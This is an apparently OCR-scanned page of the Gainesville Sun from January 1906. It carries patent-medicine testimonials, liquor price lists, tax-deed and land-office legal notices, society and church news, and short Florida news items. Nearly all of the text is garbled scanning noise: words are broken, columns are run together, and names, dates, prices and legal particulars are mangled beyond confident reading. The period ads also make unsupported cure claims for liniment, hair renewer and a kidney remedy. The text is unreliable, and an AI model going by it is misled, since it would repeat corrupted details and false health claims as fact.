Knon. while driving from that I! ) and )1 Ira.., W I It: Brice ..ntP.U.in.j that they swear off and then 4, U-ifls Having been troubled I ts.a.,s... v..asssa.we..ws.eewe I place to Youman. were both hot ands ed their young friends lat night with treat the resolution, with lambaicu at different lime and W .Nee1.wT. e..eab n Ia. painfully wounded by an u.kao.n'I' tried one phician after another, then CwitMtU.i.oTOPIe.0. party. .uppo.ed to to a hunter )Ii.* i different ointment and liniment. Kobie: wa hot ill the left cheek jest iiJt.'k VCG/BL.!: SICILIAN gave it up altogether.. :?*.. I tried once P below the eye ant Mi. blue iti the AL more and got a bottle of Mallard' - Uo Hair RenewerIs breast. The l*>dy of the vehicle was Snow Liniment, which gave me al- riddled with hot.. The hot wa fired It true you want to look old ? Then keep your gray hair. If not most instant relief. I can cheerfullyrecommend 1 side of the .road tot the it. and will add my' nameto !' from the rich colorof Hair Rcncu-sr and have all the dark Hall's then use list of sufferers. Sold by W. ladiecooJ! find no one iDt... .- "* your Advertise in Th Son.r. young carl life restored to your hair. !.T :TTJ-rTJIiTj; M. Johnson . vicinity. r . . .. -_. -- .... . ... ... ....i.... ...::: 'u .. ..1.. . :.'",. : ;., .... ,.:.:. . '" J .' i\o.\: '-... \.. i. :....: ....'. ,;. y.! J.'h'' .. tie. .1 1' ' ... :::: : .:.: . -- ;\ -- I " . ' ;\t b THE: HAI E: \\'II'I'' SUN: JANUARY 1.1 Hlltl; ! . _ - - OOOTU" OK AI'ttJCATloVL .tK T.'! NAPPY ENDING OF LEGAL ADVERTISEMENTS. >r.rl, L'NI'KH: ,..MTH/S .. OKV l H.tt'fsM I I '-. L.\\ OKXot.ce '"LUlt:).\ : BLUM & CO. NOTICL 1'N' 1C''U".SToo.: I.1 bcreny .,..... tbat O M > .-ec- CHARLES HAlE HOUSE PARTYAnnouncement . .. .I... t I. .-r, t.P'i TCett.reale N.t ; ; t d l .S.-4 , It thecuts C ni t.J eta f t.l . ... . II.. > TH d*< of Ju.T A. II I' 'I I ha ft..1 ta!. . A !>'... Cw.nc.. M' II t.M iTaIwaerfer t la.. .In. and t arr M.arle ...n. .:'.'. IB mv ..'II.... ...l ba* n.ad. al.Iti -...... -litALtlts |>- r. r. Voy.e. hu t. fe ,MorWa" '..__....un. ..... ,... tam dec to l..ae .In .......rd4n>*. vitr I # Had of Engagemeat It ai-i-cartrw toy av1a.it a.....wood ....,- law Bald' frofc'tt crrtiacate Mltuatcd eruttracco la ALttfbwa tbe fouiiwitudrvcrtbrd ......... viy vziHAiroAMre l Whiskies Wines M. n.c.1 IB tb. .'.1'e statedCmi.etbat II tr >*..>nda tow It 5 |...*.r.rA ......... Uraerfero She .leteidanlttbereta .. lot In N.. cor Main. ail Kir't '''!. .n.1: of Popular Young People. .' ft....... .r. a....,..-J.L'. ur .boo :h1s1.ur Lot ri F: Kltui "" t std taut 311. V\ a.h....ton. f1' .... J.. bet eaeied t.. be r.-.L.r .t" WIntor.. end Li..rs. Ita.histlw. a.'k'.f (:........r".. and are Tbe amid land bctnw ar.. ird at toe date nl . ? COL. ELLIS AND MISS TAYLOR .rr the a.. of ...",,*_ ,...ri.. therefore the l Mia..ce of aurb eertlbcate the Ban ordered ...., aafl twn-re..t.n14efe......'* of C. M. Kiaa+ :: **" <>> 511.519 : Nos. __ aid taey are berets. ,.-.oUr'" tu appear tu t'nie.> amid certificate .hal t>e re.lceii the ...: ..r (:..aal.111 it Slid la va d ....-. oo urbefore to '... tax deed wUil_uc ibrreon o> f. V 7 T-.... DJalnUgviaHad/ Young People M_. the 1Mb day uf .1.10..." AIr .. -l. - : ly the ? la day of .I." ..,.. .\. U. !*.et \..: r - -.. .c tbe ac.atMMk. .if _lit Mil ,. .. BAY STREET oibe.w 1 Wltr. >r-v air official %| ..'.. and seal tail Y WW bo U"" ... In Matrimony .M April ,. .. < wtll + taken ..eoaf n>d by lit defendant tae M tadavof Uccenttper. A H I.* It l.furtherwderedluttayurder l.. H 1t'l.NGEi.! '2 : .f tHo C.nliaR Yoar-Beautiful R.- .>.ee a week for four coimecatUe week l-d In The &;.,_..... J...... .....<*per |-ur>u.bed ( ILLE, morfca by Chief Jwatice Taylor.. la I ho .a.U covntr and *>tate. < ? Tb.. t.eeemb.reth. IttA NoTICK OK APPLICATION I"\IIC TAX G9' AA tie boogie pang ....... aa.t b.en ::0. M. WIK>1Ei.. Clerk'" Circuit CovirtItt U .I.I> fNUKH !I riTH X OK CUAITKM FLORIDA. )l ,.. (;tfF.\'E>. ....."'" C'lerd. 4-. LAWS' OKNotice 1..U'UltA.. ....gro. at tk. old u.n. a.o..a4 A true copy ot orlrfiaai.lirat . M yaaariaaa.lh. aMtm.rot. a .Iees.d N. H WI':Ni. J*. (-..rlC (.Ir.."', C.'Ht.JOO ....,', U bcreh irlven that A. J. I'af4>.lal IC..I' far Pabst Iilwsgte IsirExport. lit M ,... Tl t' .m-nawr of Ta. Certuleate No -.'. datnltbe f R.sNO.... p1e.d.gl, ..rp....... .a 'b. HORATIO UA..,*. !'*ol r. for Coa,.4 t. Clb dar. of July A U. I-\. ba tiled . .aid ...rtll1".'. la Bar. ..m.... aid ba* : |Mr bbl.. Iud.... Ill ; .per dux. 91 25Blue ea- .. aM ...,.... dl..., Fridaytk ....ric ..-.>ucatioa fur ,.. drol to i.*jc .In' Itibbon. per bbl 13do: >, tl; ; .per do*. II 5") .,.ai. by f.ll.. .* .Mia M. o.ft NOTICLwtiK I'triHJCATlOVlreeo accordance with law. ::00..101 rerttocate. PSbra.'e r s..t .. ,..... R. F.ai rl.k Taylor: Lalod O fO\e. at (.....*. :a*'I. IB. AUchua the. fujowlmt,..un', .deicrir.. .1....'..lrot town". rtif kltualol E Jmtg's. ClftCrMati Rad tart laar. >bor I '* Nwor :ft.lv ft. K.iSAll. lA'acre. I .. MFo.vt... ....... j.an aao. eo.- Noi*e 1 I.. ..,.h *t te.. lb,t la eoo>p.laace Tie amid latxl bcln... ._t., I Sedate if I''r "bl. lOdit*. 49; per dot. fl. Ma WM sdopt.d b VrsA*. that bad in With l.. provision* of. the act of Conare a ufJua the iwMiance uf MM-II certincale la the name wt .a. 17*.entitled "A. act for. the ..'e of Maria' ro>>... M a* ...ii .f food .*.*. tad ftroprletj Umber Uad IB the J.tatr. of 1 ..ar......'.. .Ore- 'nieiMaaid crrtincate ..b.a r>e lcen.cd *cllntf . or.... Nevada. .... WaablBa'loa Territory aa ...... to law tat deed. eLI I .uc thereon oo We pay freight or express charges .&.. M .....1. ..,..d to a.*rl..1' all of .*,...,... to ml tbe ....b ct land Stairs' l>.. Art the 9 nbd.f ,,.....,> A I. l>av.Wltbcw. . r ate "HII. 8i io. .. I. &b. year A. of Autfu *. tt*. Kooert C.IJoa.....' O.d T.,... air. orncial alwnalarc mat Meal tU on the following liquors) : eawar of l.aKayctte Mate of KiorMla. ha the 3Mhdair of Ia eemd.rr..1. U !<.*. B. UBO. UM great Areatncbop Walter thl day nicd IB thte oTOc bi_ ..-:0: .taiea eiitNo ,... U. WIKNiiKJt.Id : . 315. for It.. pureba-e of tbe !.e*. of XeH ....... !. M iaaIIee of tbk. of %' ee S... ttlnTown.hiNa.! Hih.. Ke...,. Nut Oliver 11 K.. and will offer proof to bow that .ue ..andbt Line ?bat craatd old Puitaa the Whisky : . ... t. .or_ v.lu.bl. for It.timber or .t 0.oe NOTICE t>K AITMC'ATION" .HH TAX 1M Protector bad bi.y .... .... ...... .,........ OK V .well. ...._ tae seneultural and W. I"IIJ!: tSItH NrAmoN CHAlTrJ; 4 full quarts . . . . 5 ('0 ... .., Meeelter kl.clalm 'o.-d et hefty. Kedt.t.r .. . v. la IfM .. ....t U '.to. .... ... M e. L.AWM OK I.LtHIUA. a1( atec.eLN. .: .... o. ., ..'. the 12 full 12 .3BLUM'S quarts . . . . Out rUcrtaa Fatawra brotutkt U 53,4 day uf k't rw.rr. .1Il1G. I S.rfk-e. U hereby Urn that J J lfav>nan H. ....,_ a. vltB.-.. E. .*. r1.....,. A. B. .erof Tarn Certificate Xo IfPI datedtbe . h wee .... to *. ........ _..14. I !*ka w. MatbmBivl !--.Oaaiaea Aen. Bil of 3rd dar of A|>.... A. I* 1'*un. ba. D..... amid MONOGRAM, 10 Years Old: Old Tows. P.Aar : eertutcate la .. .o1ll4!.. and baa ...... ai-t-.i...* Mia _on.aMM with &Ia.. timobon.lawMr ... all Psrmtos. ..'....1_ ad.erclT tbe. Uoa fur tae deed to Naue IB accordance with 4 full quarts . . . . 4u> . .bow....I1- .. lands iueted to Hietaotr ; Law. .... .. ..... Nee ea.Mts ..... mad !. thii are Plaid rUtl. .tor. tbe followingdecrtb full elaiBM la .... ales uo. or before ..$ Toil I d property altuatrd la Alatf hua oojuty I:! quarts . . . .12 OO dsae.ld -.-i .. ..... ......... ...... 01 r.I nI"* -. KVorkla. tooltKeHof , tooder Pd' rvr. o. KOHIXSOX. RcaUter.NUTICK I Ne.. Sec. 1S. TI 'II. It. C:to ..<, acre EARLY TIMES Pure Sour Mash Whisky: ,. chid e.=.. M ... MMrodly The said land elrw a..r..ied at the date oftae : I as.r .rks. passlaltl sad _...... 1M FOB PCBUCATIOX.l I'Bkaowa.lwni.ac. of web certificate .. tbe aaate uf B.Ulr4 I. Bead rawer /.very.eat Na-penMe. *. i; saswlsa'.s.1. .y wlaafjitor,. OOtee .t ;....... .. Fla.. Paler rid certificate aha J be redeemed acrdlntf r 4 full quarts, del . . 4 o) H. Kill Flort |te ..ber I" !,.*. tu .... tam deed will Ivwe thereon. ua ... N .... WlUlaW . the Tt d day of January. A. U. lwtWltaeiwi t; full .a 5o quarts . . . . ... _ ._. Not.ee h hereby .l that la e i' and teal tbia ) e1a11 I Wkti .!.bed .Att r..y.O..aal. wlta tae ..........* of tM set of ,'_r_ of tae ah day air uf orncial IJccemhe-r fcWaature A. Ik ...*. 12: full .10.3BLUM'S >> quarks . . . .1._ a. IKK faUtJ.d'Asact for vibe _!. of ,W_nll.a tako .!... la April ... H WIKNtiKS.IN . ... llaiaar laad.. tbs Mtate* of CaHfurals. UreM | Clerk Circuit Court AI_.... Cu. Kla. -. .... die __ __...... s.*. .Tad.. and Wai>ata.toa TetTttory.-. r -. s- a4 |l 'o aU tN i abOa Iaa4 State* l r Act SYLVAN GLEN 7 ... >iilis uu..d Ie bid ....... of A CBLJCATION. b N well ..... ....atr of L.ra el... Mtat of .florid. Years Old: aaa tM*die aid la tat*Moo at* wora *tat.- Land OOee at 4ialnc We. Kla.. 'lls-" sad dtattocalabed ...... If.. .4..for ta. iwrcaaaa of tae .w H. of UeceBaber 11. Sam.. .. 4 full a W ,I&> of ...tluai No. w. aH" of H... and N v.. Notice .. hereby Ares tbat lice following quarts 20 burs psa/tat..asahlud ... boarttoatof ... ....... No. SI Tooaaalp No. l.a.. aaated oetller baa Bled aotice ai* ..,..,.... t full : daaMs.issi..s tba ..,,,. Sofa.f ..... No It 1C.: and vlll offer proof to .aow ... a a k. nnai proof .. wt'lwxt uf alaclaiav. > quarts 4 AO lkN aM .lad s.otk* I* saw TaJaaat for ... and that said l-roof will be made beforoHeclater 12 full ''', -... u.or ___ taaa for a.rtealt..rl ....,.. and Heoetver at Uaiaeavilio. .'1... oaJaaaary quarts J 14 IKJ to s.4 to.tatitla ate eUta to sad land la. |*.. *U: : WINOsofe ITM.. aafata HojrtMor aatf .ess. err at UalaevvtuoriorMa.oa Ji.arti M. TotJuiBT. of Fort While I'... SHERIDAN CLUB: rrtoay. tap t day of Vvbruarr 1= .-.. ca Hd ....' for tae lasts. of Nw'. of Heo. -. Tt>. ale.Nally A.r1. .mla M TMI Two.MriiJsi Mo aie. a* wtt-, K r. rtaer. <..u" ? s.. R. l. K.: 4 full quarts . . . . 2 75 .J ... Alta R. C. Uavl*. Nataaatel) beer aU 01' H.aat.d.lb.fotloelet. wltaewoa to prove J' i OM u us F.athrltl.s.wl I tIM tees "' .. bin ....111I_ reoldcbcc upon and cu.tUaltoaof ti full quarts . . . . 4 oo Any and all t>oi*..a>* eUlailatr a4vrkelr the aid land via; .. . .m_.D.sswb.r..- ...... i newt abso4.sMhd ...... .r. re me .ed to n.. J. L. Hloc... ttf Kort White fl..; IIIU floiM 12 full quarts . . . . no / \:,. Nls/eab aI.. Wi...... tbta w.... taotr olalata. ,.... user. oa ur bofore rid la. or fort White, ."1... V. lUlaai 0..,... of5.wt 1 1 of Februarr Inc idyll day , "-IU&.. KU Jaate C.eiua>oo, ol llraa- !, P4 W. 4.. UOIUNMIN. He..'.r. ford. t,.. ",- We u' e teal)**rs in everything in the pd .ti. ROHIX SOX. Ke".ter.NOTIS'I . ; Li line Whiskies ' j?!tM ...... at skis .la.. ; ..*. Will NOTICE FOIl I'CHIJCATIOH. lulu Gins > : r> M ITHI.ICATIOX.I.an.1 . a.. ..=.e r.0eer8Ie.. rbo U .'''U_. Lad umee .l UalBe..uu Via. and'ineM from ...ember l.. Icm.NulIe.lak.r.bv txttce al inlae..llle. ria.iBcceotber . ;; :W .--. Jobs '1''....... lilt ca tka1 1 la "aai|>U.a<>. I*. I lug 1.150 to fi.; (If) per gal.Serviceable . 1 ..... .... .. Jr.. .. '.epeadl.. curt ,... pru.la4oa.uf tae set n! ...... ._ uI Notice 1. herenv "I.l .. tbat the ...."-.1_- .. y. juao. ;a. !..;.. ....,.. fibs ......,. wing bid father, 0.0,.. -..... latl.IB the MtalM of .. ... '.-... (>reoa. make U..al ..,....r In aupturt of ht' claim. mat NeTaUa. .art Wa.teuitfton. ...n1'r.all .*- a* that amid proof will r-e Susie liefi 'e the ICe,l_ i _M1..ary.ANIM e>....... to ,... Iw.b.. I I.B.t ,..,.,.. .r Art ter and lleeel.er .' .....C.. w 01. "',.. on .I.".. . ......I off vary. plaaaantlyTboro of A***' '. bait. t ....* r. Kl..k.r of Old art *%. h., lUrnai.l i Tow..oealr uf Iw>K...".. Mate wf t1>irMaa .. IkM.. ...t "-n..t....... ' '1'" M Wlods .. waa ao ..a. ......... ,M. lav aioiKa ,aaa.uO)<>e M. ....... >t.te I la. : NUL 4J. fie the iHirrkww of tbe Wof ll.l 9w:/tforthc N ..t.., *' 1.1 A !Ioo" I I of ; s>f ajrybrod to Par to ..Jo...a. of algal:''II... ant Nit' v. *e<.. of Meeuno. No. W in Me .-. f. Tie *. UHr .10'; Umbrellas at a Saving. ,:!.. JM.... Tba penal ..* sad boy bad Towa.bli No I",.. KamroNu. IS Eo. and et.l name the folloalu* .nn...c. tu lacy Umbrella that. are. RixxJ.looking offer t-roaf t4. ague tsar ibe l land _btBMre 1. blcuaiinu4Hi. rcanlcncc .u-<.< ail a'ull.rtsu : enough .: a tail .... akootiac off ablaaoaa.Wadaaaday .< valMBble fur II. Umr>er ... atone thaa fur u. aaJeMelhlcr W Mad. t u. V* make you :13.J. you own them ; .tn.r.K: aid I agricultural. pert..,e.. aol to ..t.hU.h tat. John MMer .\ Tee durable enotiih 'withstand the attack of .*..... iho young peG.r lUhtfLirrf. ..... . Iw.rt..r lief Merel..r 4 aid ell to re . itatl.! all ur tucroril KUl an equinoctial . ... .'...,..... form ; ..Id| at en |low a prideaS p1.......... .... tbo hospitable. roof at .IIM UJ "r1d... lbe Lard; ,? 4., uf .......... Ice .l W l..MtmINi.uXHrd.ter.NOTICETttTIII'Itt.IITuIti to uikit nrroaeary to add a full Phial to .f Mr. Taiad sad spent a ......., H. _a.e.B.. wli_a.r_- A. H. !lOb.w. 1C (.. .n __ _ iI to get "....r real T.IU-. $1 ea.h. worth #1 :o. 0..1. Natbaalel live.. \V J. Allea. aU Oil uf ....... .....II .Another party njasbad.kd Town ria.AB AXIUMsTKI I They are mad of extra quality' of Black for Friday ....... at tha > .... all |iet*.>... elalmln ..ter.elr the Ill: TKK': U.. KsTATK: t II'J. I Union Taffeta ; steel. rnd. ; paragon frame ; . .l..vedo.erlhed .....l. are rrMuevtrvt to bietelrCal..l. .1.\". .II4.0|>\\"|V. cllmr'rulling : .Ch' ith ca_. The Women'. 1'n.brrllasare6.ineh # .... of Mr. and MM. 8.a.... |M. ufllce wa wr heforeay aakl5ird .. !' ' with nice of reb.u.rr.. I .e\ To AU and ,"lnwjlar the Creditor ail lh.>rlIxttcrvur I as ned> haiidlea ; 111.2$ each, worth 9'J.! The Men'. Umhr..II. . j Om 011........ ....lag idlers was a 1..1 N (a.IP/HlSiON.ltedl.ter. Deceased the rotate uf J. Jat-o txajom. I .. are M.Inch, with natural wood haudlr i in a variety of styles. CfcrloMMa .... and oatartaiaaMat at - . - Von are hereby iM.tinrd tbat, a .uidre.tlun. ..t '" Waalay Oaaaol. A vary. .....i.. pro SOT.<<..t: .T>U ITI1I.ICATIOX the ln.ulen' y of aid estate ha. itccn laud l.r L. C. S1VIITH, >ORTII sun: hgt..SRL: i tie AdmlnUtratrlft' or d c...'.. wlib the '41 I was......,... by .... _*aiboM of Led ixn.e al i;.._..ll... rta.. fount y JiMWe of .\Ib...a oountt .'......101.. and -- -. arbl _....._ 1 1-. .6 mil> erect. bavins sat claim or den>an l. . .. aftar bw .s ... e..d.y .. .. ,, . p then lh In _ N.NMel.berrht t e .011. aia t the aW evtave a e brrer roiuired ,.. pZ L _. ... .".r'bated. aiaeb to tba vltl> tberu.....>MMiuf the Aft uf 4o."*, rrw wfJuao lie your wM claim with the acid County ".... 1. .*:* ..U,..d **Aa .*r\ tar the _).. uftloiber i>a or ocrorc tbe l"ih .... .., ""D". A. I' Peat. ....... sf 1M llttlo '01... lawl la the -.,.i... i>f CaUfiwiua. i ireNea II {.. M.\.US. ........,. .I.. "... or.... .,.. ..d W a.Mn t..n Terrliurv. aeiteatfrU -- I , tu all the la.b..t Land 1.l.te. br Act OAINESVILLE IOTTLINI CHOWNINO OF CHRISTMAS. AltMIXI.HTKATHIX! NtrTICr.Fu WORKS : . of Au Mvt .. I"O. Italltinl' Tbotua* ft II- ..t...... couai of .\.or! ...... hair of r.>rfcla.haathUtla the llrtr. I-rrfatec. l*.iiliMJteeand fre.|. . flied In thl..m<>e hid ...!*. .,.c.- (n._ uf the rotate; of A. H loran ab.1 to -Jl& FAt TI:...,. ur'. - 1' .sI Mfh.l CaAea. by .... First Prasby urBt *. I"*. foclh* fvn-lii. of the sv, ,,fM AU IVfMMMboa" itU Notice May Coo I ........ Sunday School. W V. A W>...f H. .V.f- hen't.. Ttl..T|. Vo. TH.Kantfe .. .Crra; fun Soda liter Ul FUrors, Ginger lie, Root uA Bird Beer Cider Etc. ; No!' I* K.: ai..l e UI o l.r t>,....( to ..IM.WIbat .... will take notice th.t _li month* after , TWra was a lanta ....i..e. prvaontat the land xMttf Ut. l. aver. alxa4c fur. It* ,the neat ......a..U..n of tlu. notW-e. I. a. adoilbMiratrl > U A I N.:.' I.LE. JiJ.ORII\ I tiwucr "t*.M than fair arrlr'lllural I uf i .>-c . of the c..laleof A. r: llrvan. tccea tbo opera bou. last .*..i.. to Ii.. and t te..'ar lU,. him, rlaiai S.. +.lrl land Ito.reKcirl .>l. will prevent. ,.. tbe II..... II I.. M.*.oa.Lountt I ..tcr ail Needier a' mmlLc' |T.. uo .I..d4. in mil f or .%i chuacouetv. :tate Write for i-rlee* C*.., and bottle arc not ...101. but mu t be ... to ... ClarA.'.... ..n..'.. hen .'....... the S"nI..t rVrMwar I.aw tt .,....loIa. my ccount. .a* ..ich adrti.nWlrairlm : returned I la ., C..n......*." th. Kit ltd lie aaate aa oltnea_ .1.__ I HHM. (*_ aDd final report aoa wlu thenr..l tucrwkk bye ayaabool r* "'''''._ J. It J-W", ".I.. i:. ,-*t>dtre... all uf for. Uaal UUobai.,c a. ..'eh wdn,Ibatratrla. *'. of ,... Firvl .....bjt.rianCborob. 11'Iafurd.hla. ;!.!..-.*.* MATTir: ,. MHV.'N. - - .. , Ant aid alt |erwMi o.aln.inv Ml.er..rli the .Adn.lnKtratrU' the t::tatc ..r.\ I- rwyaaNOTU'lt - TIle ...,.,. ia full of sons abi..e tcv.>rllMHt .....,. arc rr.iuc.tc.l tu metbclr - and .raltailo. and with a .. cl.!aIn thi..!!t.-. un .... l...fi>rc %..... tltoS The Oldest opaaa so ... House tar of t ebruar) I Whiskey in _a.... oalr. ... to d-.4do which day >4 WU.Ian1XWXiLt.l.ier.' Notice i. hcrehv irlven that fair; !het' m..-. GeorgiaEstablished i .,a04> lite itn of January A li I.... ./1'I" to aaoatd bo tbo tma to ealrbrat by tb. '. ... of , the l anli.nir" r I. r! tLc <">tate Klorida ...... aaboal.Taa NtrTlfK OK AI'IMJi'ATIttV HK TAX for a ..........- :fail. Kawc .%ct mote .... con.lct 1881. . Ulna) t'M'I.K ...UTIOOK. = LIIAITrJC; .r>l i>f iuan. ..lau"htcr at. a ..!....It t term or ihcLlrcult - varioua day. eoaaiatinK of tt.Tatoallao'a t ....r' of AUM'du county lickl lo June ---- "'"-. LAWS u. KI HtlUANutter A. II 1*"-. - De,. Waablactoa' Birth- OLD "SIMUfC WILLIAMS U hereby then. tbjt 1'. II. IUk.cr.M - day. Childroa'a Day. ladepeadenev : ..."... preha.. rid Tai IVrtlticalc No -**. Purr Rn. nld| rj. II jy he gallon 3.1) ). dated the tml dot .>( Jut A. It l-w a. 0. Thankafif . GEO.S.HACKER & SON i'usr full ,. Iljy. w ra r pr > ha. diet. atd ecrtlrtcalc in rur .>Tic. and quart, $3: S1 ...... by typical character, until at ha ....... a|n for tat deed to i.*uc la P. ENl'IEf3: : I'IUI'.UIJ i )C"A"Tt.HtH": or ---- - I accordance ltb law hard' rertliU4tr ems ---- - ... end Old 8aata Claus came andy nrace the fo.:.:...lnrf lcTltic ITiH-crly MtJalcd -- --. in Alackaa' count rhirota. t4>.ltN rrawnacvi .EO.. : J. t I/LEM t:i e 4 of ""e'* .i ?..r'. of %e '. >. cc. X.;: TI 1.". ru . Coaaidarla. the chart time for rr'paratloa i l< 91 .,>acrcThcm .. !! i' 1'.n.I."I.; :: IJ", lich aDd ...t kaial, elrvtf a ee cd al t fie date uf ji \ i i -_ i .11... l/ythr.g.lI.1$2, :'3. Four all did ,..arkab... well, and I the l.*uaM>e uf _B.-.rrUU.*te in the n.it.eof S I full ? tao ..... little ,d. I'nktM.vu.TalcM I cpiarfa 1' 1.1. rvprrarntmc' . T! . . ............ I a LR'r7. tX Pi I:et;..... 0II1Id...'. Day d-d .exceptional! ..11. '' .. ., certincate obalt l>c tl *cconfine .- l'1:1'1:I to l... ta. tired vU. > l...*j.. tUrrroa ... - All ... dmtiaetly.'lb. I . ; -- T.ry |I" the ::tat ilat uf January AU. e W "HI. oMtortainmeot coneludrd with :! ttUnr.. .... o 'eaal.l/nalarC .mitt .c.1 l ,.... In t: die:. ftadai uf I............... ., aa I..<. Aflk Purr family ...........,... of presents and there !'o. II tVKN..,:K:.... the wlt.Tl"IVl ,. .. *M-key. BT r .a. a happy lot of enildrea, j! firm. tlrcult I...-..n .,:...,...* ,'o r .A. i +-ice I I ..Ir full quart. .- lit llv M -. ,:ll'.\'..-. lK > t'N.'TICl. b 11: ". tX: J'ln.s: PKKPAin a A A THawaattd OolUrs Worth of Good. "'LU'MMtlf - "> I'l'Ilf.li'.lT11bI..rallM..1'.aIbe..U.e rand 1e"I: A. tl. n..r.... a w.ll-known coal : Fa Ol.li KHMUkV: I oitt > 87 the' "lIo" .! ".'\. ....ur full ....... of Buffalo. 0.. write : "I haboaa .. l...-....'....r !". IN .<'. t>irrrt from Imndfd warrhoutint- f; _80'\' EXI'1is.: : ;'film 1111 qnru .*ti".*r I- 'icrr-. diett' teat the fu.la.eln.rP..a . afl||.tad with kidney and bladderttooblo .... .c'1 rr I... bard rw-tu-c. of Kl. iBtrntiuat Building and old Hy the calion 13 II). oui I'II\T.IC: for J..... passing gravel and I t .> make. u... |Ti..f 'in *u|.I.oft .., tta...I.ID. .... Four I 1 Lru 1 oit> Material'l full Rich that ...Iol..r .i.1 1-e male i-cforc HcrflMrri quart $3 fie). and mellow B .A .:'' the K.on|| . < '1 .5C aaoaaa with axaroeiatiac pain. 1 i lt..... art alt.aae.im..e., Na uQ January I four' full . .0'1'I|, :::1>. ,I.. YI. KXI'UKsS: 1.1tJ'.Uh: iuart, 12 {*J. sus raliaf from medicine until law. '.i : ,.. u."m.. uf lieu. Kta.MI tab Cord Hardware KXl'KKPKEPAIP: : . takla. ro...'. Kidney Cur ; then the }j t." f..r the ::00'?>f :Vim'/ x NeH ..' iw'/' Weights, , ' ...., waa rising. A few doses Sec' : ::00 !;. !II C: AoN'DGL..A..BS. N'e tanjI.. at) Ih. lea.llnq brarlde u1 IeJ" "rul L'ourtwtn - rf ". ...... ... brie duel like fine "O ...' ..11...* tae f....u>.,..>.- wltnc..c. to Prove let aildst catlaltgue. : .. 6atl..r ....hl **"M.aie, >. In the man i. and new I ha... ao pain across my ul r.i.root amid 1 ,all:.. .1>u tIV.m .rr...lct...*rJI.M bd 'h..Lh.I and ttPr.eluplo.PI.l' .'lon. u" your purrs' *.. S""nd fur price!' .. ... I foal Ilka a new man It ' M "j .\.:.> Tli a> Kfa-lcr. J.rne. Gaiu- THE * f1:8. 1.000 womb or gc?d." J. t>... .... J--ifc.c.t.mu. ,. Jr ... uf !"... .1aI'd AL.TMA.YER FLATAU LIQUOR COMPANY. .Ia. A 00. \V U. "J1J1.J' : \ ,,.ur. ELM.HACKER.: Proprietor &lUa... mad . . . Ulill'IillA,, ALA. . .....: -- --- -- -- -- .. - PBM THE (GAINESVILLE: SUN: JANUARY 1.190(5! ( 7 . ' . .. -- ---- --- -- -- --- -- - - -- --- -- - - 1 : DO YOU GET UP: it NEWS FROM ALL SERIOUS CHARGE - WITH A L.'fCI: PARTS OF FLORIDA/ _ L : AGAINST NEGRO . 1tdn;' Ifnuf.s. Mjk.. 1'a Mir.. h, :. --- - \ . .. -- ;; Britf Happenings From Variou!.I : . .. Tom Barnett Chained With Sri- :ri CASTORIA F " J;... 1, - Sections of State. .J ....7' _, I. ling Liquor at High Springs. ,1 , . "'. a_.'... -" ,.. TA oot } .,. THE MOST IVr>O lANT E.VENTSTr.a"sp.r. !, --- : . 1.IQUUH WAS >f4 tVOfcSCtIn 1 For Infants and Children .... . w -,' ;,51J . . .",; ,m "The! Land of i Flower*.'", : t : :. ...:: J..1..- M..u"'t. C..ur.n.l 0.......' 4 'j The Kind You Thing, "Boiled' Do"," ,," to Suit H.tBus "" .... .1 is j .,. ... i Grander Si.iteit That it Came Prom Ir.: k bL'fj! IA Have 7C" . ! . or -i I ( ..... s : ? RrturrItr.mt o* 'lntere 'e( ; r.. _' ____ ':- I'I::, H.s U..n-Dcft.rod..-IeattJ U.i.| ," ' All Cl.ife' ---' '.. It :. I ttond of $200.I ::! : Always Bought :::: . . . . ) I .,\,.. r ........ t ), ,. 'r.n.:e .t >t me.t ,tttl c,"nt n'i* "".;.flih':7 '_' .: . .. ..... . 'n' :.. "I... ell1 11..t rt' N. .. ....... : ,. 4 I .IU j.1":- t . ..!,., t I. : f rosji < Pr.n: !'". :" : '" : 11..t it a. . lk*. tr.. :kit.! it.-' ' i tlj'- . : ,. . H n*: .1 |i' A. ; ; " II'.I': oIL._ . .1).h.) Bears theJ "t'.u41 i tin i ::r' "t' -i w.rii : t , : . I I.e...utut uultI't !17.hit I ."*' 't,1a_> b.ixf,. :, . .t '.. ."<. : ".. :". tilts of the IaN| .t \ a' .+ /'tfl'l, of orange. fur the ..rx..n.'ve.t t I 'T. K 1:1:,> t .-*%* .11nP.(taint r,' iti.tSHIM .. t...'.|*te4 it I- ,I!:1.( .r. il . ... tit is; Ixpi.ir I'L: : I .,.;,... ...it oll. "r. .r ::tin: .:. 'a !I. '. "II..h-. : r.llk-. t.e i. i .t> fro it I I.. "}: .-- j I Signature l r lm Kea'h th M tu he > : ., ",. ...1 : .,! 1I"t.u' :" .. : u. . t.1 I till MVe. > '.t.tlid' p..r.p .eu. 1'r. ; .'tCh. : I M'.'>!hollld! for Iule.. .I.t! > III tt."I! t l' tlu-, r nit :v ."u '. *" {1. ,1 I : 'I : :,;:: i1o ' i't : : , car 'j I '......7 t. '...I 1ft v.tl' .. : ". o' the III ......i"l.t H t iff ti t -'rilifc.-.- I nt'>...tid: l''.':-. ,','nt ::111'" n'III"'r I v..i...k. I.. 1'I i J.I i. . i. t -rni o* ttte circuit! i*.' Ire 'I tlitlnt.I' .,n'1lti.' ?.rutcatl! I UfI Irrn I Heed: !, *>r..1 t female, of :-f a0( I! ro i I -. -u . -'i i": :tI' tit.' : .. I It .1/lrtt: w a* arr-.t-d .ereral .!.19y.in : I. : UT N..ltC ll'I'Tt I II , .ViJitutine.. w.t. arre-tel{ the other iJnjf !., : :1 i :- .1, .. : :_ :i h ; .: ' 111 IIi::ti "'aPII.- mini, n c'ltrge. I"( ... .jr totmc. a pistol 1 ';''HI M ..::1! Ft.. .i.-r' rtli.. t t. \\ j Vi !. i .' .... I I dl!' -Y iin"; l 1. ,. iri a cointy wnit'h\ . : . 1v .llt. I I'H ., !i i. -t rt. .tri ii- 1 1.\IJ \\.l1h' Itnven ha . !'lnroIIC"II..t r > I'll I Vi-f.d! I..a.. : f. He : iaris.t arur. . 1 ; -ttl' >.71: : tr"t- \ rl'' i t .. ,. had u. piry in 'ft-*.*.! by the aJtliii 1:1': ; iu'.rv. .,'-.,..t:1': ... : t. \ nrraiiM ivl in Major |:"rr*' ..,r.i rtHI pJ. .J. I .<.ii *.f :'.*, room ; fln.l..tlt l II' ..d.! t't:1'' : :. ,. . t. d wn' rentenotd to pay' :a tine of *.'*' I M.5s. 1 d .. \\'h. ., ,. . t r '.' t InUse John K'cejr.:' who ir s .h 1t n".r Villa: I.t. ;: ::: . . . butntei ce wi. -u.{". n 1..1. H* Mi> ort'cer ...".,.,.. 1 . ;:..ft..r. ,:,- :: r tp tl.- 1 : 